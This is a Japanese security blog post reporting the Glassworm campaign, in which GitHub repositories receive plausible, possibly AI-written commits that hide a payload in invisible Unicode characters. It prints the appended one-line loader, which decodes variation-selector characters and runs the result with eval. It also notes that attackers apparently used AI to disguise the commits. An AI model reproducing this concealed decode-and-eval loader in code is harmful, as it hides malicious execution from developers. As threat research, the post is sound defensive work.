Aikido

見えない脅威の再来:隠れたPUA UnicodeがGitHubリポジトリを襲う

執筆者
Ilyas Makari

つい先日、私たちはOpen VSX上で侵害された拡張機能を発見しました。現在、新たな攻撃の波が押し寄せており、すべての兆候が同じ脅威アクターを示しています。

この手口は聞き覚えがあるでしょう。目に見えないUnicode Private Use Area(PUA)文字で隠された悪意のあるコードが注入されるというものです。私たちはこの手口を3月に初めて目にしました。その際、npmパッケージがPUAを使用してペイロードを隠蔽していました。その後、Open VSXでも同様の事態が発生しました。現在、攻撃者はGitHubに狙いを定めているようで、その手口は進化しています。配信方法はより巧妙に、よりステルスに、そしてはるかに欺瞞的になっています。

不可視コードキャンペーンのタイムライン

  • 3月 – Aikidoは、PUA Unicode文字を使用してペイロードを隠す悪意のあるnpmパッケージを初めて発見しました。
  • 5月 – 不可視Unicodeのリスクと、サプライチェーン攻撃でそれがどのように悪用されるかを詳述したブログを公開しました
  • 10月17日 – 同じ手口でOpen VSX上の侵害された拡張機能を発見しました。
  • 10月18日Koi Securityがマルウェアとペイロードを分析し、Glasswormと命名しました。
  • 10月31日 – 攻撃者がGitHubリポジトリに焦点を移したことを発見しました。

設計によるステルス性

この新たな波に最初に気づいたのは、ある開発者が奇妙な点に気づき、連絡してきた時でした。彼のGitHubリポジトリのいくつかが、コミット履歴によると彼自身によって更新されていたのです。コミットは正当に見えました。プロジェクトのコーディングスタイルやコミットメッセージに合致する、現実的な機能更新、小さなリファクタリング、さらにはバグ修正が含まれていました。ただ一つ異なる点を除けば、コミッターのメールアドレスは次のように設定されていました。 null。しかし、これらのコミットの最後には、それぞれ単一の同一の追加がありました。

const d=s=>[...s].map(c=>(c=c.codePointAt(0),c>=0xFE00&&c<=0xFE0F?c-0xFE00:c>=0xE0100&&c<=0xE01EF?c-0xE0100+16:null)).filter(b=>b!==null);eval(Buffer.from(d(``)).toString('utf-8'));

マルウェアを特定できますか?一見すると何が起きているのか分かりにくいですが、目立つのは eval 呼び出しです。これはコードを動的に実行するためによく使用されます。への入力のみが eval 空に見えます。しかし、に渡された空の文字列は d() において eval 全く空ではありません。目に見えないUnicode文字、Private Use Areaシンボルでエンコードされた隠しコードが含まれています。これは以前のnpmおよびOpen VSXのインシデントと同様です。

しかし今回、その配信方法ははるかに巧妙です。全てが1行にまとめられており、視覚的な手がかりはほとんどありません。悪意のあるコードは、通常のプロジェクト活動に見えるものの中に隠されており、正当なコミット内に潜んでいます。

無害に見える変更は、コミットをより説得力のあるものにするためにAIによって生成された可能性があります。これらのコミットは非常にプロジェクト固有のものであったため、攻撃者は大規模言語モデルを活用して、現実的で文脈に沿ったコード変更を作成した可能性を示唆しています。これにより、AIを効果的に利用して、通常の開発活動の中にペイロードを偽装したことになります。

デコードされたPUA文字は、Open VSXのサンプルと非常によく似たスクリプトにつながり、同じ脅威アクターを扱っている可能性が高いことを示唆しています。デコードされたスクリプトは、Solanaを配信チャネルとして使用しているように見え、ブロックチェーンからペイロードをフェッチして実行します。Open VSXのインシデントに基づくと、これらのペイロードはトークンやその他のシークレットを盗むことができました。認証情報やCIトークンが収集された場合、それらは他のリポジトリで同じペイロードをプッシュするために再利用される可能性があり、これにより以前の攻撃で見られたようなワームのような伝播が可能になる可能性があります。

より大規模な攻撃の兆候

悪意のあるパターンを特定した後、同じペイロードが他の場所にも出現しているかを確認し始めました。そのパターンでGitHubを迅速に検索したところ、同じ疑わしい行を示す他のリポジトリがすぐに見つかりました。

これらのプロジェクトでは、一見すると完全に正当に見える新しいコミットがプッシュされていました。コミットには、ドキュメントの更新、バージョンアップ、小規模なコード改善などの通常の変更が含まれていましたが、それぞれのコミットには、ファイルの末尾に同じ隠されたペイロードも追加されていました。

現時点では、このキャンペーンはGitHubでホストされているJavaScriptプロジェクトに限定されているようです。npmや他のエコシステムで同様の侵害の兆候は確認されていませんが、同じ攻撃者がその範囲を拡大しようとする可能性があるため、厳密に監視しています。

進化する脅威、より賢い防御

これらのインシデントは、Unicodeの誤用、特に目に見えないPrivate Use Area文字の危険性に対するより良い認識の必要性を浮き彫りにしています。開発者は目に見えるものに対してのみ防御できますが、現在、ほとんどのツールは十分な情報を示していません。GitHubのウェブインターフェースもVS Codeも、何かがおかしいという兆候を表示しませんでした。Open VSX攻撃のような以前のケースでは、一部のIDEは隠された文字の隣に微妙なインジケーターを表示しましたが、ここではそれらの保護機能が欠けていました。

この手法は新しいものではありませんが、明らかに進化しています。Shai Huludのような以前の脅威は、悪意のあるpostinstallスクリプトを単純に注入するだけで、比較的容易に検出できました。現在、攻撃者は悪意のあるコードを現実的なコミットやプロジェクト固有の改善と混ぜ合わせており、AIの助けを借りて変更を自然に見せている可能性があります。これは脅威の状況がどこに向かっているかを示す兆候です。

At Aikidoでは、私たちも同じ進化に適応しています。私たちは、他の検出システムの中でも大規模言語モデルを使用して、これらのますます巧妙化する脅威を特定しています。攻撃者がAIを採用して意図を隠すにつれて、私たちの防御もそれを見破るために同様にインテリジェントになる必要があります。

共有:

https://www.aikido.dev/blog/the-return-of-the-invisible-threat-hidden-pua-unicode-hits-github-repositorties

脅威ニュースをサブスクライブ

今日から無料で始めましょう。

無料で始める
CC不要

今すぐ、安全な環境へ。

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要です | スキャン結果は32秒で表示されます。